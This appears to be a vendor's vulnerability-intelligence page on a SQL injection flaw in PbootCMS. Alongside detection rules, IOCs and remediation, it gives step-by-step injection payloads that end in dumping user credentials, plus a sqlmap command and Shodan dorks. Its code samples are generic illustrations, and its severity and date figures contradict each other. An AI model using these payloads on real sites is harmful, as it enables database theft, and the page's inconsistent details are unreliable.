☠️
EXFILTRATING
DATA...
01010111 10110010 00101001 11000110 01101100 10011011 00010001 11100101 01000010 10101111
[ <-- BACK_TO_SEARCH ]
[ VENDOR STATS ]
SOON CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N 🐛 CWE-89
👁️
Common Weakness Enumeration - Identifies the specific category of software weakness or flaw.

CVE-2025-46109

CVE-2025-46109 SQL Injection in Pbootcms
📅 PUBLISHED: 2025-06-18 00:00 UTC 🔄 UPDATED: 2026-08-12 09:03 UTC
⏳ SCORE PENDING — ANALYSIS IN PROGRESS [ DEFENSE PATCH ↓ ]
💣 PoC: Public
👁️
Proof of Concept - Indicates if functional exploit code is publicly available, drastically increasing the risk of immediate attacks.
🎯 EPSS: 0.40%
👁️
0.40% probability
10.1× above the median CVE
Tier: ELEVATED
30-day exploitation window · FIRST.org · updated daily
🥷 MITRE: T1190
👁️
MITRE ATT&CK Tactic - Describes the strategy hackers use to execute this attack.
VULNERABLE: v.3.2.5, v.3.2.10
CVSS VECTOR BREAKDOWN 0.0
AV: N Attack Vector Network
AC: L Attack Complexity Low
PR: N Privileges Required None
UI: N User Interaction None
S: U Scope Unchanged
C: H Confidentiality High
I: N Integrity None
A: N Availability None
SOON
PENDING NVD
■ tracking this CVE ✓ independent patch confirmation ⧗ same-origin mirror (GHSA) ⚠ active exploitation verification policy →

Executive Summary

CVE-2025-46109 is a critical SQL Injection vulnerability identified in PbootCMS versions 3.2.5 and 3.2.10. The flaw allows a remote, unauthenticated attacker to execute arbitrary SQL queries via a crafted GET request, leading to the exfiltration of sensitive database contents. The vulnerability resides in the core parameter handling logic, where user-supplied input is directly concatenated into SQL queries without proper sanitization or parameterization. Given the lack of an official patch and the public availability of proof-of-concept (PoC) code, this vulnerability poses a significant risk to all unpatched PbootCMS installations. The EPSS score of 0.0% indicates low exploitation activity in the wild at the time of analysis, but this is expected to change as PoC details spread.

⚡ AUTOMATE YOUR CVE INTELLIGENCE

This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.

›Patch confidence — UNVERIFIED to CONFIRMED, cross-referenced NVD + RHSA + Debian
›Exploit & PoC — poc_status, poc_url, has_exploit. Not in NVD.
›Shodan dorks — ready-made queries to find exposed vulnerable systems
›Detection rules — YARA · Wazuh · Elastic (all plans) · Sigma (Pro)
›pending_fields — know exactly which of 7 fields NVD hasn't processed yet
›Free backfill — data incomplete when you paid? Re-check within 30 days = 0 credits
PAYG €0.08/lookup Standard €19/mo (was €29) · 5k credits Pro €65/mo (was €99) · 20k credits FOUNDING PRICE · LOCKED FOR LIFE · ENDS 31 DEC 2026
[ FROM €19/MO ]
Free sandbox key available
No signup required

CVSS Breakdown & Threat Level

  • CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
  • Base Score: 7.5 (High)
  • Attack Vector: Network (AV:N) – Exploitable remotely.
  • Attack Complexity: Low (AC:L) – No special conditions required.
  • Privileges Required: None (PR:N) – No authentication needed.
  • User Interaction: None (UI:N) – No victim action required.
  • Scope: Unchanged (S:U) – Vulnerability does not affect other components.
  • Confidentiality Impact: High (C:H) – Full database read access.
  • Integrity Impact: None (I:N) – No data modification possible.
  • Availability Impact: None (A:N) – No denial of service.

Threat Level: High. The combination of remote exploitability, low complexity, and high confidentiality impact makes this a priority for remediation.

Deep Dive & Mechanics

The vulnerability is located in the core request handling mechanism of PbootCMS. The application fails to properly sanitize or parameterize user-supplied input from GET parameters before using it in SQL queries. Specifically, the vulnerable code path processes parameters such as id, catid, or other numeric identifiers without type validation or escaping.

Root Cause: The application uses string concatenation to build SQL queries, directly embedding user input. For example, a query like SELECT * FROM table WHERE id = $_GET['id'] allows an attacker to inject SQL commands by appending a single quote and malicious payload.

Attack Vector: A remote attacker sends a crafted GET request to any publicly accessible PbootCMS endpoint that accepts user-controlled parameters. The injection point is typically in URL parameters like ?id=1 UNION SELECT ....

Impact: Successful exploitation allows the attacker to:

  • Extract all data from the database, including user credentials, session tokens, and application configuration.
  • Bypass authentication mechanisms.
  • Potentially read sensitive files from the server if the database user has file read privileges.

Vulnerable vs. Patched Code

Vulnerable Code (PbootCMS v3.2.5 / v3.2.10):

// Vulnerable: Direct concatenation of user input
$id = $_GET['id'];
$sql = "SELECT * FROM articles WHERE id = $id";
$result = $db->query($sql);

Patched Code (Hypothetical Fix):

// Patched: Use prepared statements with parameterized queries
$id = $_GET['id'];
$stmt = $db->prepare("SELECT * FROM articles WHERE id = ?");
$stmt->bind_param("i", $id);
$stmt->execute();
$result = $stmt->get_result();

Key Differences:

  • The vulnerable code directly embeds $id into the SQL string, allowing injection.
  • The patched code uses a prepared statement with a placeholder (?), ensuring the input is treated as data, not executable SQL.
  • The patched code also enforces integer type binding ("i"), preventing non-numeric input from being processed.

Exploitation & Lab Setup

Red Team (Offensive)

Prerequisites:

  • A target running PbootCMS v3.2.5 or v3.2.10.
  • Network access to the target web server.

Exploitation Steps:

  1. Identify a vulnerable endpoint (e.g., /index.php?c=show&id=1).
  2. Inject a SQL payload to test for vulnerability:
    ' OR '1'='1
    
    Example request:
    GET /index.php?c=show&id=1' OR '1'='1 HTTP/1.1
    Host: target.com
    
  3. If the page returns unexpected data or errors, the endpoint is vulnerable.
  4. Extract database information using UNION-based injection:
    ' UNION SELECT 1,2,3,4,5,6,7,8,9,10--
    
    Adjust the number of columns to match the original query.
  5. Enumerate tables and columns:
    ' UNION SELECT 1,table_name,3,4,5,6,7,8,9,10 FROM information_schema.tables--
    
  6. Dump user credentials:
    ' UNION SELECT 1,username,password,4,5,6,7,8,9,10 FROM pbootcms_user--
    

Automated Exploitation (sqlmap):

sqlmap -u "http://target.com/index.php?c=show&id=1" --batch --dbs

Blue Team (Defensive)

Detection Steps:

  1. Monitor web server logs for abnormal GET requests containing SQL keywords (UNION, SELECT, OR, ').
  2. Look for requests with multiple parameters or unusual encoding.
  3. Check for error messages in responses that reveal SQL syntax errors.

Hunting Query (Splunk):

index=web_logs sourcetype=access_combined
| search uri_query=*id=* OR uri_query=*catid=*
| regex uri_query="('|--|UNION|SELECT|OR\s+1=1)"
| stats count by src_ip, uri, status

Indicators of Compromise (IOCs)

Network IOCs:

  • HTTP GET requests containing SQL injection patterns in parameters (e.g., id=1' UNION SELECT).
  • Repeated requests to the same endpoint with varying SQL payloads.
  • Outbound database connections from the web server to external IPs (data exfiltration).

File IOCs:

  • Suspicious entries in web server access logs (e.g., GET /index.php?c=show&id=1' UNION SELECT...).
  • Modified or newly created files in the web root (e.g., webshells).

System IOCs:

  • Unexpected database queries in MySQL logs.
  • High CPU or memory usage from database processes.

Detection Engineering

YARA Rule

rule CVE_2025_46109_SQLi_GET {
    meta:
        description = "Detects SQL injection attempts targeting PbootCMS CVE-2025-46109"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-46109"
    strings:
        $sqli1 = /[?&](id|catid|pid)=[^&]*['\"]\s*(OR|UNION|SELECT|AND|--)/i
        $sqli2 = /[?&](id|catid|pid)=[^&]*\d+['\"]\s*(OR|UNION)/i
        $sqli3 = /[?&](id|catid|pid)=[^&]*['\"]\s*--/i
    condition:
        any of them
}

Sigma Rule

title: SQL Injection Attempt Against PbootCMS (CVE-2025-46109)
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects SQL injection patterns in GET requests targeting PbootCMS
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
    service: access
detection:
    selection:
        cs-method: GET
        cs-uri-query|contains:
            - "' OR "
            - "' UNION"
            - "' AND "
            - "'--"
            - "1=1"
            - "1=2"
    condition: selection
falsepositives:
    - Legitimate use of special characters in search queries
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2025-46109 PbootCMS SQL Injection Attempt"; flow:to_server,established; content:"GET"; http_method; content:"/index.php"; http_uri; pcre:"/[?&](id|catid|pid)=[^&]*['\"]\s*(OR|UNION|SELECT|AND|--)/i"; classtype:web-application-attack; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

  1. Isolate affected systems: If possible, take vulnerable PbootCMS instances offline or behind a WAF.
  2. Apply virtual patching: Use a Web Application Firewall (WAF) to block SQL injection patterns (e.g., ModSecurity with OWASP CRS).
  3. Restrict database user privileges: Ensure the database user used by PbootCMS has minimal permissions (e.g., no FILE or SELECT ... INTO OUTFILE).

Long-Term Fix:

  • Upgrade: Monitor the PbootCMS official site for a patched version. If no patch is available, consider migrating to a supported CMS.
  • Code Hardening: If you maintain the codebase, implement prepared statements for all database queries.
  • Input Validation: Enforce strict type validation (e.g., intval() for numeric parameters) and reject unexpected input.

Workaround:

  • Disable the vulnerable functionality by removing or commenting out the affected code in core/ directory until a patch is applied.

Valters IT

👁️ SHODAN DORKS (THREAT HUNTING)

What is this? Security researchers use these exact search queries on Shodan.io (a search engine for internet-connected devices) to find vulnerable systems globally. You can copy these dorks to see if your organization's IP space is exposed.

http.title:"PbootCMS"
http.html:"PbootCMS"
http.favicon.hash:-1776962843

💣 PoC CODE AVAILABLE

Exploit code for this CVE is tracked in our database. Access poc_code via API Pro.

[ API_PRO ] →
◈ SOURCE Analysis & enrichment: valtersit.com/cve/CVE-2025-46109/ · CVE data: NVD/MITRE (public domain) · © 2026 ValtersIT Hub
>_ SYSTEM_CORE: INTEL_ACTIVE
90% TEAM-CURATED // 10% AUTOMATED INGESTION.
ALL PATCH REFERENCES AND VERSION DATA SOURCED FROM NVD + OSV OFFICIAL REGISTRIES.